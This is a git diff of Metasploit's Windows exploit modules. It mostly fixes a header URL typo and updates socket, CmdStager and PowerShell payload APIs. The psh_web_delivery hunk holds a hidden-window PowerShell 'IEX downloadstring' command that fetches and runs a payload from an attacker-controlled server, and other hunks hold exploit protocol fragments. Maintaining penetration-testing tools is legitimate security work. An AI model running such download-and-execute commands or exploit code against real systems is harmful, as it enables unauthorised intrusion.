diff --git a/modules/exploits/windows/misc/eiqnetworks_esa_topology.rb b/modules/exploits/windows/misc/eiqnetworks_esa_topology.rb index 2a418c56e7..ba6caf4a42 100644 --- a/modules/exploits/windows/misc/eiqnetworks_esa_topology.rb +++ b/modules/exploits/windows/misc/eiqnetworks_esa_topology.rb @@ -1,5 +1,5 @@ ## -# This module requires Metasploit: http//metasploit.com/download +# This module requires Metasploit: http://metasploit.com/download # Current source: https://github.com/rapid7/metasploit-framework ## diff --git a/modules/exploits/windows/misc/enterasys_netsight_syslog_bof.rb b/modules/exploits/windows/misc/enterasys_netsight_syslog_bof.rb index a5e1d0c360..aef09e156c 100644 --- a/modules/exploits/windows/misc/enterasys_netsight_syslog_bof.rb +++ b/modules/exploits/windows/misc/enterasys_netsight_syslog_bof.rb @@ -1,5 +1,5 @@ ## -# This module requires Metasploit: http//metasploit.com/download +# This module requires Metasploit: http://metasploit.com/download # Current source: https://github.com/rapid7/metasploit-framework ## diff --git a/modules/exploits/windows/misc/eureka_mail_err.rb b/modules/exploits/windows/misc/eureka_mail_err.rb index 71bb61e51d..9c59408ddc 100644 --- a/modules/exploits/windows/misc/eureka_mail_err.rb +++ b/modules/exploits/windows/misc/eureka_mail_err.rb @@ -1,5 +1,5 @@ ## -# This module requires Metasploit: http//metasploit.com/download +# This module requires Metasploit: http://metasploit.com/download # Current source: https://github.com/rapid7/metasploit-framework ## diff --git a/modules/exploits/windows/misc/fb_cnct_group.rb b/modules/exploits/windows/misc/fb_cnct_group.rb index 118d832d64..084c331db4 100644 --- a/modules/exploits/windows/misc/fb_cnct_group.rb +++ b/modules/exploits/windows/misc/fb_cnct_group.rb @@ -1,5 +1,5 @@ ## -# This module requires Metasploit: http//metasploit.com/download +# This module requires Metasploit: http://metasploit.com/download # Current source: https://github.com/rapid7/metasploit-framework ## diff --git a/modules/exploits/windows/misc/fb_isc_attach_database.rb b/modules/exploits/windows/misc/fb_isc_attach_database.rb index 545928c6cb..f0ccc69f63 100644 --- a/modules/exploits/windows/misc/fb_isc_attach_database.rb +++ b/modules/exploits/windows/misc/fb_isc_attach_database.rb @@ -1,5 +1,5 @@ ## -# This module requires Metasploit: http//metasploit.com/download +# This module requires Metasploit: http://metasploit.com/download # Current source: https://github.com/rapid7/metasploit-framework ## diff --git a/modules/exploits/windows/misc/fb_isc_create_database.rb b/modules/exploits/windows/misc/fb_isc_create_database.rb index 09cb07489b..d85485c26a 100644 --- a/modules/exploits/windows/misc/fb_isc_create_database.rb +++ b/modules/exploits/windows/misc/fb_isc_create_database.rb @@ -1,5 +1,5 @@ ## -# This module requires Metasploit: http//metasploit.com/download +# This module requires Metasploit: http://metasploit.com/download # Current source: https://github.com/rapid7/metasploit-framework ## diff --git a/modules/exploits/windows/misc/fb_svc_attach.rb b/modules/exploits/windows/misc/fb_svc_attach.rb index 71daee3976..fca3bb11bf 100644 --- a/modules/exploits/windows/misc/fb_svc_attach.rb +++ b/modules/exploits/windows/misc/fb_svc_attach.rb @@ -1,5 +1,5 @@ ## -# This module requires Metasploit: http//metasploit.com/download +# This module requires Metasploit: http://metasploit.com/download # Current source: https://github.com/rapid7/metasploit-framework ## diff --git a/modules/exploits/windows/misc/gimp_script_fu.rb b/modules/exploits/windows/misc/gimp_script_fu.rb index b6ab651a50..2fa4784861 100644 --- a/modules/exploits/windows/misc/gimp_script_fu.rb +++ b/modules/exploits/windows/misc/gimp_script_fu.rb @@ -1,5 +1,5 @@ ## -# This module requires Metasploit: http//metasploit.com/download +# This module requires Metasploit: http://metasploit.com/download # Current source: https://github.com/rapid7/metasploit-framework ## diff --git a/modules/exploits/windows/misc/hp_dataprotector_crs.rb b/modules/exploits/windows/misc/hp_dataprotector_crs.rb index 26baf9192d..7dd833c3c0 100644 --- a/modules/exploits/windows/misc/hp_dataprotector_crs.rb +++ b/modules/exploits/windows/misc/hp_dataprotector_crs.rb @@ -1,5 +1,5 @@ ## -# This module requires Metasploit: http//metasploit.com/download +# This module requires Metasploit: http://metasploit.com/download # Current source: https://github.com/rapid7/metasploit-framework ## diff --git a/modules/exploits/windows/misc/hp_dataprotector_dtbclslogin.rb b/modules/exploits/windows/misc/hp_dataprotector_dtbclslogin.rb index ecaa4167dc..807267a2c2 100644 --- a/modules/exploits/windows/misc/hp_dataprotector_dtbclslogin.rb +++ b/modules/exploits/windows/misc/hp_dataprotector_dtbclslogin.rb @@ -1,5 +1,5 @@ ## -# This module requires Metasploit: http//metasploit.com/download +# This module requires Metasploit: http://metasploit.com/download # Current source: https://github.com/rapid7/metasploit-framework ## @@ -79,7 +79,7 @@ class Metasploit3 < Msf::Exploit::Remote hello << "\xb0\x02\x00\x00\xff\xff\x00\x00" << "\x06\x10\x00\x00\x7c\xfa" sock.put(hello) - hello_response = sock.get + hello_response = sock.get_once(-1, 10) disconnect if hello_response and hello_response =~ /Dtb: Context/ @@ -109,7 +109,7 @@ class Metasploit3 < Msf::Exploit::Remote hello << "\xb0\x02\x00\x00\xff\xff\x00\x00" << "\x06\x10\x00\x00\x7c\xfa" sock.put(hello) - hello_response = sock.get + hello_response = sock.get_once(-1, 10) if not hello_response or hello_response.empty? print_error("#{sock.peerinfo} - The Hello Request hasn't received a response") diff --git a/modules/exploits/windows/misc/hp_dataprotector_exec_bar.rb b/modules/exploits/windows/misc/hp_dataprotector_exec_bar.rb index b0e0256094..0e698d7ccb 100644 --- a/modules/exploits/windows/misc/hp_dataprotector_exec_bar.rb +++ b/modules/exploits/windows/misc/hp_dataprotector_exec_bar.rb @@ -1,5 +1,5 @@ ## -# This module requires Metasploit: http//metasploit.com/download +# This module requires Metasploit: http://metasploit.com/download # Current source: https://github.com/rapid7/metasploit-framework ## @@ -13,7 +13,7 @@ class Metasploit3 < Msf::Exploit::Remote include Msf::Exploit::Remote::Tcp include Msf::Exploit::Powershell - include Msf::Exploit::CmdStagerVBS + include Msf::Exploit::CmdStager def initialize(info = {}) super(update_info(info, @@ -44,7 +44,7 @@ class Metasploit3 < Msf::Exploit::Remote }, 'DefaultOptions' => { - 'DECODERSTUB' => File.join(Msf::Config.data_directory, "exploits", "cmdstager", "vbs_b64_noquot") + 'CMDSTAGER::DECODER' => File.join(Msf::Config.data_directory, "exploits", "cmdstager", "vbs_b64_noquot") }, 'Platform' => 'win', 'Targets' => @@ -59,8 +59,8 @@ class Metasploit3 < Msf::Exploit::Remote [ Opt::RPORT(5555), OptString.new('CMDPATH', [true, 'The cmd.exe path', 'c:\\windows\\system32\\cmd.exe']) - ], - self.class) + ], self.class) + deregister_options('CMDSTAGER::FLAVOR') end def check @@ -92,10 +92,10 @@ class Metasploit3 < Msf::Exploit::Remote if target.name =~ /VBScript CMDStager/ # 7500 just in case, to be sure the command fits after # environment variables expansion - execute_cmdstager({:linemax => 7500}) + execute_cmdstager({:flavor => :vbs, :linemax => 7500}) elsif target.name =~ /Powershell/ # Environment variables are not being expanded before, neither in CreateProcess - command = cmd_psh_payload(payload.encoded).gsub(/%COMSPEC% /, "") + command = cmd_psh_payload(payload.encoded, payload_instance.arch.first, {:remove_comspec => true, :encode_final_payload => true}) if command.length > 8000 # Windows 2008 Command Prompt Max Length is 8191 fail_with(Failure::BadConfig, "#{peer} - The selected paylod is too long to execute through powershell in one command") diff --git a/modules/exploits/windows/misc/hp_dataprotector_new_folder.rb b/modules/exploits/windows/misc/hp_dataprotector_new_folder.rb index 3cdb76402d..9ef85606a0 100644 --- a/modules/exploits/windows/misc/hp_dataprotector_new_folder.rb +++ b/modules/exploits/windows/misc/hp_dataprotector_new_folder.rb @@ -1,5 +1,5 @@ ## -# This module requires Metasploit: http//metasploit.com/download +# This module requires Metasploit: http://metasploit.com/download # Current source: https://github.com/rapid7/metasploit-framework ## @@ -160,7 +160,7 @@ class Metasploit3 < Msf::Exploit::Remote end sock.put(hello) - hello_response = sock.get + hello_response = sock.get_once(-1, 10) if not hello_response or hello_response.empty? print_error("#{sock.peerinfo} - The Hello Request haven't had response") @@ -235,7 +235,7 @@ class Metasploit3 < Msf::Exploit::Remote end sock.put(auth) - auth_response = sock.get + auth_response = sock.get_once(-1, 10) if not auth_response or auth_response.empty? print_error("#{sock.peerinfo} - The Authentication Request haven't had response") return @@ -247,7 +247,7 @@ class Metasploit3 < Msf::Exploit::Remote request_token << "\x07\x00\x00\x00" sock.put(request_token) - response_token = sock.get + response_token = sock.get_once(-1, 10) if not response_token or response_token.empty? print_error("#{sock.peerinfo} - The Token Request haven't had response") return @@ -261,7 +261,7 @@ class Metasploit3 < Msf::Exploit::Remote request_home_identifier << "\x00\x00\x00\x00" sock.put(request_home_identifier) - response_home_identifier = sock.get + response_home_identifier = sock.get_once(-1, 10) if not response_home_identifier or response_home_identifier.empty? print_error("#{sock.peerinfo} - The Home Identifier Request haven't had response") return @@ -275,7 +275,7 @@ class Metasploit3 < Msf::Exploit::Remote request_home_contents << response_home_identifier[24,9] << "\00\x00\x00\x00\x0d\x00\x00" sock.put(request_home_contents) - response_home_contents = sock.get + response_home_contents = sock.get_once(-1, 10) if not response_home_contents or response_home_contents.empty? print_error("#{sock.peerinfo} - The Home Contents Request haven't had response") return diff --git a/modules/exploits/windows/misc/hp_dataprotector_traversal.rb b/modules/exploits/windows/misc/hp_dataprotector_traversal.rb index f0d9dcdcd3..ce3ff71b99 100644 --- a/modules/exploits/windows/misc/hp_dataprotector_traversal.rb +++ b/modules/exploits/windows/misc/hp_dataprotector_traversal.rb @@ -1,5 +1,5 @@ ## -# This module requires Metasploit: http//metasploit.com/download +# This module requires Metasploit: http://metasploit.com/download # Current source: https://github.com/rapid7/metasploit-framework ## diff --git a/modules/exploits/windows/misc/hp_imc_uam.rb b/modules/exploits/windows/misc/hp_imc_uam.rb index f55e3724a6..8055b0d947 100644 --- a/modules/exploits/windows/misc/hp_imc_uam.rb +++ b/modules/exploits/windows/misc/hp_imc_uam.rb @@ -1,5 +1,5 @@ ## -# This module requires Metasploit: http//metasploit.com/download +# This module requires Metasploit: http://metasploit.com/download # Current source: https://github.com/rapid7/metasploit-framework ## diff --git a/modules/exploits/windows/misc/hp_loadrunner_magentproc.rb b/modules/exploits/windows/misc/hp_loadrunner_magentproc.rb index 6b25504e3e..fb664c9ae6 100644 --- a/modules/exploits/windows/misc/hp_loadrunner_magentproc.rb +++ b/modules/exploits/windows/misc/hp_loadrunner_magentproc.rb @@ -1,5 +1,5 @@ ## -# This module requires Metasploit: http//metasploit.com/download +# This module requires Metasploit: http://metasploit.com/download # Current source: https://github.com/rapid7/metasploit-framework ## diff --git a/modules/exploits/windows/misc/hp_magentservice.rb b/modules/exploits/windows/misc/hp_magentservice.rb index 1f0810650e..80b04a5bdc 100644 --- a/modules/exploits/windows/misc/hp_magentservice.rb +++ b/modules/exploits/windows/misc/hp_magentservice.rb @@ -1,5 +1,5 @@ ## -# This module requires Metasploit: http//metasploit.com/download +# This module requires Metasploit: http://metasploit.com/download # Current source: https://github.com/rapid7/metasploit-framework ## diff --git a/modules/exploits/windows/misc/hp_omniinet_1.rb b/modules/exploits/windows/misc/hp_omniinet_1.rb index 172c557a1b..b168c6ff5a 100644 --- a/modules/exploits/windows/misc/hp_omniinet_1.rb +++ b/modules/exploits/windows/misc/hp_omniinet_1.rb @@ -1,5 +1,5 @@ ## -# This module requires Metasploit: http//metasploit.com/download +# This module requires Metasploit: http://metasploit.com/download # Current source: https://github.com/rapid7/metasploit-framework ## diff --git a/modules/exploits/windows/misc/hp_omniinet_2.rb b/modules/exploits/windows/misc/hp_omniinet_2.rb index cbd30cab80..404dd0458a 100644 --- a/modules/exploits/windows/misc/hp_omniinet_2.rb +++ b/modules/exploits/windows/misc/hp_omniinet_2.rb @@ -1,5 +1,5 @@ ## -# This module requires Metasploit: http//metasploit.com/download +# This module requires Metasploit: http://metasploit.com/download # Current source: https://github.com/rapid7/metasploit-framework ## diff --git a/modules/exploits/windows/misc/hp_omniinet_3.rb b/modules/exploits/windows/misc/hp_omniinet_3.rb index 08fe7d3201..f8aeca8a72 100644 --- a/modules/exploits/windows/misc/hp_omniinet_3.rb +++ b/modules/exploits/windows/misc/hp_omniinet_3.rb @@ -1,5 +1,5 @@ ## -# This module requires Metasploit: http//metasploit.com/download +# This module requires Metasploit: http://metasploit.com/download # Current source: https://github.com/rapid7/metasploit-framework ## diff --git a/modules/exploits/windows/misc/hp_omniinet_4.rb b/modules/exploits/windows/misc/hp_omniinet_4.rb index 9d991880f6..2670342a6c 100644 --- a/modules/exploits/windows/misc/hp_omniinet_4.rb +++ b/modules/exploits/windows/misc/hp_omniinet_4.rb @@ -1,5 +1,5 @@ ## -# This module requires Metasploit: http//metasploit.com/download +# This module requires Metasploit: http://metasploit.com/download # Current source: https://github.com/rapid7/metasploit-framework ## diff --git a/modules/exploits/windows/misc/hp_operations_agent_coda_34.rb b/modules/exploits/windows/misc/hp_operations_agent_coda_34.rb index 8f560dc3ed..25e196293b 100644 --- a/modules/exploits/windows/misc/hp_operations_agent_coda_34.rb +++ b/modules/exploits/windows/misc/hp_operations_agent_coda_34.rb @@ -1,5 +1,5 @@ ## -# This module requires Metasploit: http//metasploit.com/download +# This module requires Metasploit: http://metasploit.com/download # Current source: https://github.com/rapid7/metasploit-framework ## @@ -203,4 +203,4 @@ user-agent: BBC 11.00.044; 14 disconnect end -end \ No newline at end of file +end diff --git a/modules/exploits/windows/misc/hp_operations_agent_coda_8c.rb b/modules/exploits/windows/misc/hp_operations_agent_coda_8c.rb index 636f877c8a..f38eeb33a9 100644 --- a/modules/exploits/windows/misc/hp_operations_agent_coda_8c.rb +++ b/modules/exploits/windows/misc/hp_operations_agent_coda_8c.rb @@ -1,5 +1,5 @@ ## -# This module requires Metasploit: http//metasploit.com/download +# This module requires Metasploit: http://metasploit.com/download # Current source: https://github.com/rapid7/metasploit-framework ## diff --git a/modules/exploits/windows/misc/hp_ovtrace.rb b/modules/exploits/windows/misc/hp_ovtrace.rb index 1044283d85..0612f411ef 100644 --- a/modules/exploits/windows/misc/hp_ovtrace.rb +++ b/modules/exploits/windows/misc/hp_ovtrace.rb @@ -1,5 +1,5 @@ ## -# This module requires Metasploit: http//metasploit.com/download +# This module requires Metasploit: http://metasploit.com/download # Current source: https://github.com/rapid7/metasploit-framework ## diff --git a/modules/exploits/windows/misc/ib_isc_attach_database.rb b/modules/exploits/windows/misc/ib_isc_attach_database.rb index a607302d92..85ad7d3da3 100644 --- a/modules/exploits/windows/misc/ib_isc_attach_database.rb +++ b/modules/exploits/windows/misc/ib_isc_attach_database.rb @@ -1,5 +1,5 @@ ## -# This module requires Metasploit: http//metasploit.com/download +# This module requires Metasploit: http://metasploit.com/download # Current source: https://github.com/rapid7/metasploit-framework ## diff --git a/modules/exploits/windows/misc/ib_isc_create_database.rb b/modules/exploits/windows/misc/ib_isc_create_database.rb index 44d6b2b737..794f12d3c6 100644 --- a/modules/exploits/windows/misc/ib_isc_create_database.rb +++ b/modules/exploits/windows/misc/ib_isc_create_database.rb @@ -1,5 +1,5 @@ ## -# This module requires Metasploit: http//metasploit.com/download +# This module requires Metasploit: http://metasploit.com/download # Current source: https://github.com/rapid7/metasploit-framework ## diff --git a/modules/exploits/windows/misc/ib_svc_attach.rb b/modules/exploits/windows/misc/ib_svc_attach.rb index 822aa33146..ce739237e8 100644 --- a/modules/exploits/windows/misc/ib_svc_attach.rb +++ b/modules/exploits/windows/misc/ib_svc_attach.rb @@ -1,5 +1,5 @@ ## -# This module requires Metasploit: http//metasploit.com/download +# This module requires Metasploit: http://metasploit.com/download # Current source: https://github.com/rapid7/metasploit-framework ## diff --git a/modules/exploits/windows/misc/ibm_cognos_tm1admsd_bof.rb b/modules/exploits/windows/misc/ibm_cognos_tm1admsd_bof.rb index 942d478bb0..7d538a816f 100644 --- a/modules/exploits/windows/misc/ibm_cognos_tm1admsd_bof.rb +++ b/modules/exploits/windows/misc/ibm_cognos_tm1admsd_bof.rb @@ -1,5 +1,5 @@ ## -# This module requires Metasploit: http//metasploit.com/download +# This module requires Metasploit: http://metasploit.com/download # Current source: https://github.com/rapid7/metasploit-framework ## diff --git a/modules/exploits/windows/misc/ibm_director_cim_dllinject.rb b/modules/exploits/windows/misc/ibm_director_cim_dllinject.rb index 7584f318c6..b9be472306 100644 --- a/modules/exploits/windows/misc/ibm_director_cim_dllinject.rb +++ b/modules/exploits/windows/misc/ibm_director_cim_dllinject.rb @@ -1,5 +1,5 @@ ## -# This module requires Metasploit: http//metasploit.com/download +# This module requires Metasploit: http://metasploit.com/download # Current source: https://github.com/rapid7/metasploit-framework ## diff --git a/modules/exploits/windows/misc/ibm_tsm_cad_ping.rb b/modules/exploits/windows/misc/ibm_tsm_cad_ping.rb index 3b0d11939a..cf81053e33 100644 --- a/modules/exploits/windows/misc/ibm_tsm_cad_ping.rb +++ b/modules/exploits/windows/misc/ibm_tsm_cad_ping.rb @@ -1,5 +1,5 @@ ## -# This module requires Metasploit: http//metasploit.com/download +# This module requires Metasploit: http://metasploit.com/download # Current source: https://github.com/rapid7/metasploit-framework ## diff --git a/modules/exploits/windows/misc/ibm_tsm_rca_dicugetidentify.rb b/modules/exploits/windows/misc/ibm_tsm_rca_dicugetidentify.rb index faa807e07b..1457cd8de1 100644 --- a/modules/exploits/windows/misc/ibm_tsm_rca_dicugetidentify.rb +++ b/modules/exploits/windows/misc/ibm_tsm_rca_dicugetidentify.rb @@ -1,5 +1,5 @@ ## -# This module requires Metasploit: http//metasploit.com/download +# This module requires Metasploit: http://metasploit.com/download # Current source: https://github.com/rapid7/metasploit-framework ## diff --git a/modules/exploits/windows/misc/itunes_extm3u_bof.rb b/modules/exploits/windows/misc/itunes_extm3u_bof.rb index d4d563a13a..e101f6beda 100644 --- a/modules/exploits/windows/misc/itunes_extm3u_bof.rb +++ b/modules/exploits/windows/misc/itunes_extm3u_bof.rb @@ -1,5 +1,5 @@ ## -# This module requires Metasploit: http//metasploit.com/download +# This module requires Metasploit: http://metasploit.com/download # Current source: https://github.com/rapid7/metasploit-framework ## diff --git a/modules/exploits/windows/misc/landesk_aolnsrvr.rb b/modules/exploits/windows/misc/landesk_aolnsrvr.rb index e81ce1a869..fc6e775b23 100644 --- a/modules/exploits/windows/misc/landesk_aolnsrvr.rb +++ b/modules/exploits/windows/misc/landesk_aolnsrvr.rb @@ -1,5 +1,5 @@ ## -# This module requires Metasploit: http//metasploit.com/download +# This module requires Metasploit: http://metasploit.com/download # Current source: https://github.com/rapid7/metasploit-framework ## diff --git a/modules/exploits/windows/misc/lianja_db_net.rb b/modules/exploits/windows/misc/lianja_db_net.rb index cd13ef95d9..9831813bbc 100644 --- a/modules/exploits/windows/misc/lianja_db_net.rb +++ b/modules/exploits/windows/misc/lianja_db_net.rb @@ -1,5 +1,5 @@ ## -# This module requires Metasploit: http//metasploit.com/download +# This module requires Metasploit: http://metasploit.com/download # Current source: https://github.com/rapid7/metasploit-framework ## diff --git a/modules/exploits/windows/misc/mercury_phonebook.rb b/modules/exploits/windows/misc/mercury_phonebook.rb index 8b6c034d71..a856002418 100644 --- a/modules/exploits/windows/misc/mercury_phonebook.rb +++ b/modules/exploits/windows/misc/mercury_phonebook.rb @@ -1,5 +1,5 @@ ## -# This module requires Metasploit: http//metasploit.com/download +# This module requires Metasploit: http://metasploit.com/download # Current source: https://github.com/rapid7/metasploit-framework ## diff --git a/modules/exploits/windows/misc/mini_stream.rb b/modules/exploits/windows/misc/mini_stream.rb index e53e610497..f7f4369a32 100644 --- a/modules/exploits/windows/misc/mini_stream.rb +++ b/modules/exploits/windows/misc/mini_stream.rb @@ -1,5 +1,5 @@ ## -# This module requires Metasploit: http//metasploit.com/download +# This module requires Metasploit: http://metasploit.com/download # Current source: https://github.com/rapid7/metasploit-framework ## diff --git a/modules/exploits/windows/misc/mirc_privmsg_server.rb b/modules/exploits/windows/misc/mirc_privmsg_server.rb index c6a426e5d6..c147e4ca8a 100644 --- a/modules/exploits/windows/misc/mirc_privmsg_server.rb +++ b/modules/exploits/windows/misc/mirc_privmsg_server.rb @@ -1,5 +1,5 @@ ## -# This module requires Metasploit: http//metasploit.com/download +# This module requires Metasploit: http://metasploit.com/download # Current source: https://github.com/rapid7/metasploit-framework ## diff --git a/modules/exploits/windows/misc/ms07_064_sami.rb b/modules/exploits/windows/misc/ms07_064_sami.rb index 91ce478839..8450f0562a 100644 --- a/modules/exploits/windows/misc/ms07_064_sami.rb +++ b/modules/exploits/windows/misc/ms07_064_sami.rb @@ -1,5 +1,5 @@ ## -# This module requires Metasploit: http//metasploit.com/download +# This module requires Metasploit: http://metasploit.com/download # Current source: https://github.com/rapid7/metasploit-framework ## diff --git a/modules/exploits/windows/misc/ms10_104_sharepoint.rb b/modules/exploits/windows/misc/ms10_104_sharepoint.rb index 1060f2a579..9112183f0c 100644 --- a/modules/exploits/windows/misc/ms10_104_sharepoint.rb +++ b/modules/exploits/windows/misc/ms10_104_sharepoint.rb @@ -1,5 +1,5 @@ ## -# This module requires Metasploit: http//metasploit.com/download +# This module requires Metasploit: http://metasploit.com/download # Current source: https://github.com/rapid7/metasploit-framework ## diff --git a/modules/exploits/windows/misc/netcat110_nt.rb b/modules/exploits/windows/misc/netcat110_nt.rb index a6942092fc..a89f98e2de 100644 --- a/modules/exploits/windows/misc/netcat110_nt.rb +++ b/modules/exploits/windows/misc/netcat110_nt.rb @@ -1,5 +1,5 @@ ## -# This module requires Metasploit: http//metasploit.com/download +# This module requires Metasploit: http://metasploit.com/download # Current source: https://github.com/rapid7/metasploit-framework ## diff --git a/modules/exploits/windows/misc/nettransport.rb b/modules/exploits/windows/misc/nettransport.rb index d95f2aef90..20139031b8 100644 --- a/modules/exploits/windows/misc/nettransport.rb +++ b/modules/exploits/windows/misc/nettransport.rb @@ -1,5 +1,5 @@ ## -# This module requires Metasploit: http//metasploit.com/download +# This module requires Metasploit: http://metasploit.com/download # Current source: https://github.com/rapid7/metasploit-framework ## diff --git a/modules/exploits/windows/misc/poisonivy_bof.rb b/modules/exploits/windows/misc/poisonivy_bof.rb index 3166002870..f4548055e7 100644 --- a/modules/exploits/windows/misc/poisonivy_bof.rb +++ b/modules/exploits/windows/misc/poisonivy_bof.rb @@ -1,5 +1,5 @@ ## -# This module requires Metasploit: http//metasploit.com/download +# This module requires Metasploit: http://metasploit.com/download # Current source: https://github.com/rapid7/metasploit-framework ## @@ -154,7 +154,7 @@ class Metasploit3 < Msf::Exploit::Remote connect print_status("Performing handshake...") sock.put("\x00" * 256) - sock.get + sock.get_once(-1, 10) # Don't change the nulls, or it might not work xploit = '' diff --git a/modules/exploits/windows/misc/poppeeper_date.rb b/modules/exploits/windows/misc/poppeeper_date.rb index da45e45485..b9a121ccd4 100644 --- a/modules/exploits/windows/misc/poppeeper_date.rb +++ b/modules/exploits/windows/misc/poppeeper_date.rb @@ -1,5 +1,5 @@ ## -# This module requires Metasploit: http//metasploit.com/download +# This module requires Metasploit: http://metasploit.com/download # Current source: https://github.com/rapid7/metasploit-framework ## diff --git a/modules/exploits/windows/misc/poppeeper_uidl.rb b/modules/exploits/windows/misc/poppeeper_uidl.rb index 125e01b333..c57b60e38a 100644 --- a/modules/exploits/windows/misc/poppeeper_uidl.rb +++ b/modules/exploits/windows/misc/poppeeper_uidl.rb @@ -1,5 +1,5 @@ ## -# This module requires Metasploit: http//metasploit.com/download +# This module requires Metasploit: http://metasploit.com/download # Current source: https://github.com/rapid7/metasploit-framework ## diff --git a/modules/exploits/windows/misc/psh_web_delivery.rb b/modules/exploits/windows/misc/psh_web_delivery.rb index 0a850239d3..53c9375c56 100644 --- a/modules/exploits/windows/misc/psh_web_delivery.rb +++ b/modules/exploits/windows/misc/psh_web_delivery.rb @@ -1,19 +1,26 @@ ## -# This module requires Metasploit: http//metasploit.com/download +# This module requires Metasploit: http://metasploit.com/download # Current source: https://github.com/rapid7/metasploit-framework ## require 'msf/core' +require 'msf/core/exploit/powershell' class Metasploit3 < Msf::Exploit::Remote Rank = NormalRanking include Msf::Exploit::Remote::HttpServer + include Msf::Exploit::Powershell + + include Msf::Module::Deprecated + + DEPRECATION_DATE = Date.new(2014, 10, 23) + DEPRECATION_REPLACEMENT = 'exploit/multi/script/web_delivery' def initialize(info = {}) super(update_info(info, - 'Name' => 'PowerShell Payload Web Delivery', - 'Description' => %q{ + 'Name' => 'PowerShell Payload Web Delivery', + 'Description' => %q{ This module quickly fires up a web server that serves the payload in PowerShell. The provided command will start PowerShell and then download and execute the payload. The IEX command can also be extracted to execute directly from PowerShell. @@ -21,42 +28,50 @@ class Metasploit3 < Msf::Exploit::Remote machine when the attacker has to manually type in the command himself, e.g. RDP Session, Local Access or maybe Remote Command Exec. This attack vector does not write to disk so is less likely to trigger AV solutions and will allow privilege - escalations supplied by Meterpreter. Ensure the payload architecture matches the - target computer or use SYSWOW64 powershell.exe to execute x86 payloads on x64 machines. + escalations supplied by Meterpreter. }, - 'License' => MSF_LICENSE, - 'Author' => + 'License' => MSF_LICENSE, + 'Author' => [ 'Ben Campbell', 'Chris Campbell' #@obscuresec - Inspiration n.b. no relation! ], - 'References' => + 'References' => [ [ 'URL', 'http://www.pentestgeek.com/2013/07/19/invoke-shellcode/' ], [ 'URL', 'http://www.powershellmagazine.com/2013/04/19/pstip-powershell-command-line-switches-shortcuts/'], [ 'URL', 'http://www.darkoperator.com/blog/2013/3/21/powershell-basics-execution-policy-and-code-signing-part-2.html'] ], - 'Platform' => 'win', - 'Targets' => + 'Platform' => 'win', + 'Targets' => [ - [ 'Windows x86', { 'Arch' => ARCH_X86 } ], - [ 'Windows x64', { 'Arch' => ARCH_X86_64 } ] + [ 'Automatic', { 'Arch' => [ARCH_X86, ARCH_X86_64] } ] ], - 'DefaultTarget' => 0, + 'DefaultTarget' => 0, 'DisclosureDate' => 'Jul 19 2013')) end def on_request_uri(cli, request) print_status("Delivering Payload") - data = Msf::Util::EXE.to_win32pe_psh_net(framework, payload.encoded) - send_response(cli, data, { 'Content-Type' => 'application/octet-stream' }) + + psh = cmd_psh_payload(payload.encoded, + payload_instance.arch.first, + { + :remove_comspec => true, + :use_single_quotes => true + }) + send_response(cli, psh, { 'Content-Type' => 'application/octet-stream' }) end def primer url = get_uri() download_and_run = "IEX ((new-object net.webclient).downloadstring('#{url}'))" print_status("Run the following command on the target machine:") - print_line("powershell.exe -w hidden -nop -ep bypass -c \"#{download_and_run}\"") + print_line generate_psh_command_line({ + :noprofile => true, + :windowstyle => 'hidden', + :command => download_and_run + }) end end diff --git a/modules/exploits/windows/misc/pxexploit.rb b/modules/exploits/windows/misc/pxexploit.rb index 561b6d53fc..18b854867f 100644 --- a/modules/exploits/windows/misc/pxexploit.rb +++ b/modules/exploits/windows/misc/pxexploit.rb @@ -1,17 +1,22 @@ ## -# This module requires Metasploit: http//metasploit.com/download +# This module requires Metasploit: http://metasploit.com/download # Current source: https://github.com/rapid7/metasploit-framework ## require 'msf/core' require 'rex/proto/tftp' require 'rex/proto/dhcp' +require 'msf/core/module/deprecated' class Metasploit3 < Msf::Exploit::Remote Rank = ExcellentRanking include Msf::Exploit::Remote::TFTPServer include Msf::Auxiliary::Report + include Msf::Module::Deprecated + + DEPRECATION_DATE = Date.new(2014, 10, 31) + DEPRECATION_REPLACEMENT = 'exploits/windows/local/pxeexploit' def initialize super( diff --git a/modules/exploits/windows/misc/realtek_playlist.rb b/modules/exploits/windows/misc/realtek_playlist.rb index 6cfc92cdd0..9a477457b6 100644 --- a/modules/exploits/windows/misc/realtek_playlist.rb +++ b/modules/exploits/windows/misc/realtek_playlist.rb @@ -1,5 +1,5 @@ ## -# This module requires Metasploit: http//metasploit.com/download +# This module requires Metasploit: http://metasploit.com/download # Current source: https://github.com/rapid7/metasploit-framework ## diff --git a/modules/exploits/windows/misc/sap_2005_license.rb b/modules/exploits/windows/misc/sap_2005_license.rb index ceed574bf9..54caf13f2d 100644 --- a/modules/exploits/windows/misc/sap_2005_license.rb +++ b/modules/exploits/windows/misc/sap_2005_license.rb @@ -1,5 +1,5 @@ ## -# This module requires Metasploit: http//metasploit.com/download +# This module requires Metasploit: http://metasploit.com/download # Current source: https://github.com/rapid7/metasploit-framework ## diff --git a/modules/exploits/windows/misc/sap_netweaver_dispatcher.rb b/modules/exploits/windows/misc/sap_netweaver_dispatcher.rb index a8f24e80df..9641fcacc5 100644 --- a/modules/exploits/windows/misc/sap_netweaver_dispatcher.rb +++ b/modules/exploits/windows/misc/sap_netweaver_dispatcher.rb @@ -1,5 +1,5 @@ ## -# This module requires Metasploit: http//metasploit.com/download +# This module requires Metasploit: http://metasploit.com/download # Current source: https://github.com/rapid7/metasploit-framework ## diff --git a/modules/exploits/windows/misc/shixxnote_font.rb b/modules/exploits/windows/misc/shixxnote_font.rb index e0a4d06b2c..1b536ec7a4 100644 --- a/modules/exploits/windows/misc/shixxnote_font.rb +++ b/modules/exploits/windows/misc/shixxnote_font.rb @@ -1,5 +1,5 @@ ## -# This module requires Metasploit: http//metasploit.com/download +# This module requires Metasploit: http://metasploit.com/download # Current source: https://github.com/rapid7/metasploit-framework ## diff --git a/modules/exploits/windows/misc/solidworks_workgroup_pdmwservice_file_write.rb b/modules/exploits/windows/misc/solidworks_workgroup_pdmwservice_file_write.rb index 25ed303ca5..6143ce46ef 100644 --- a/modules/exploits/windows/misc/solidworks_workgroup_pdmwservice_file_write.rb +++ b/modules/exploits/windows/misc/solidworks_workgroup_pdmwservice_file_write.rb @@ -1,5 +1,5 @@ ## -# This module requires Metasploit: http//metasploit.com/download +# This module requires Metasploit: http://metasploit.com/download # Current source: https://github.com/rapid7/metasploit-framework ## @@ -105,11 +105,11 @@ class Metasploit3 < Msf::Exploit::Remote # op code req = "\xD0\x07\x00\x00" # filename length - req << "#{[fname.length].pack('l')}" + req << "#{[fname.length].pack('V')}" 